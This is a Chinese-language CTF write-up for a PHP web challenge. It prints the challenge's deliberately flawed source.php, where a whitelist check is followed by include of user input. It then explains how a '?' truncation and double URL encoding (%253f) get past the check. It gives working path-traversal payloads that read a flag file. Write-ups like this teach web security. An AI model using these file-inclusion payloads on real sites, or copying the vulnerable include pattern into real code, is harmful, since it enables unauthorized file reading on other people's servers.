打开页面只有一个图片 于是查看网页源代码,发现是source.php 访问/source.php,得到网页源码(即将source.php添加到后边,删除前边的view-source:http://)
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
根据PHP源代码 可以发现,能够访问source.php和hint.php文件
进入hint.php,得到一句话,猜测flag在ffffllllaaaagg
接着看代码(开始不明白了)
```php
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
取出$page问号前的东西,并将它赋值给$_page
if (in_array($_page, $whitelist)) {
return true;
}
如果$_page在白名单中的话,函数就返回true
$_page = urldecode($page);
如果上面判断失败了,那继续将$page进行url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
再进行一次取出并赋值
if (in_array($_page, $whitelist)) {
return true;
}
再一次进行白名单判断
只要我们能让其中一个if判断为true那我们就能让这个函数返回为真。 于是开始操作 构造Payload
file=hint.php?/../../../../../../../../ffffllllaaaagggg
或者
file=hint.php%253f/../../../../../../../../ffffllllaaaagggg
这里对?进行两次url编码
第一次解码:
%25 经过url解码变为 %
第二次解码:
%3f 经过url解码变为?
为什么要构造两次编码?
因为服务器每次解析时会自带一次url解码,所以一次url编码是对付服务器的,而另一次编码就是对付checkFile()函数中的urldecode()的。
输入payload拿到flag
|